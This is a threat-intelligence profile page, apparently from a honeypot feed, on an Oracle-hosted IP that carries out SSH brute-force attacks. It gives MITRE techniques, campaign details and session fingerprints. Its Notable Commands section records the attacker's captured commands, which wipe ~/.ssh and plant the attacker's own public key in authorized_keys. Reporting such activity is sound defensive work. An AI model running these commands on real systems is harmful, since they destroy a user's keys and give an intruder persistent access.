IntrusionLabs IntrusionLabs
← Back to feed

141.148.151.4

Threat Confidence
60%
Location
🇺🇸 US / Phoenix
ASN
AS31898 · Oracle Corporation
Cloud Provider
—
Total Events
46
Average by volume
Agent Count
2
First / Last Seen
2026-04-06 03:48 — 2026-04-17 10:11
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
AS31898 Oracle Corporation ASN Active medium 🇺🇸 US
5 IPs 1848 events
ssh:bruteforce
2026-02-18 — ongoing · 5 IPs from the same network (Oracle Corporation, AS31898) were active during overlapping time periods. Temporal correlation across …
Session Forensics
malware_dropper ×2 credential_probe ×2 opportunistic_bruter ×2
Sessions
6 (4 with login)
Avg Depth Score
0.57
Commands Executed
6
Files Downloaded
2
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fb
SSH Client
SSH-2.0-libssh_0.11.1
Evidence Timeline
Malware Dropper bd16738d9f45 w4m_singapore_01 · 2026-04-17 10:11
3 1 1 100%
Loading events...
Opportunistic Bruter e55ee44269da w4m_singapore_01 · 2026-04-17 10:11
1 50%
Loading events...
Credential Probe a6ea16217f69 w4m_singapore_01 · 2026-04-17 10:11
1 20%
Loading events...
Opportunistic Bruter 5ecc56c515ff w4m_seattle_01 · 2026-04-06 03:48
1 50%
Loading events...
Malware Dropper e4a09e95d01e w4m_seattle_01 · 2026-04-06 03:48
3 1 1 100%
Loading events...
Credential Probe d7ed7183f6a5 w4m_seattle_01 · 2026-04-06 03:48
1 20%
Loading events...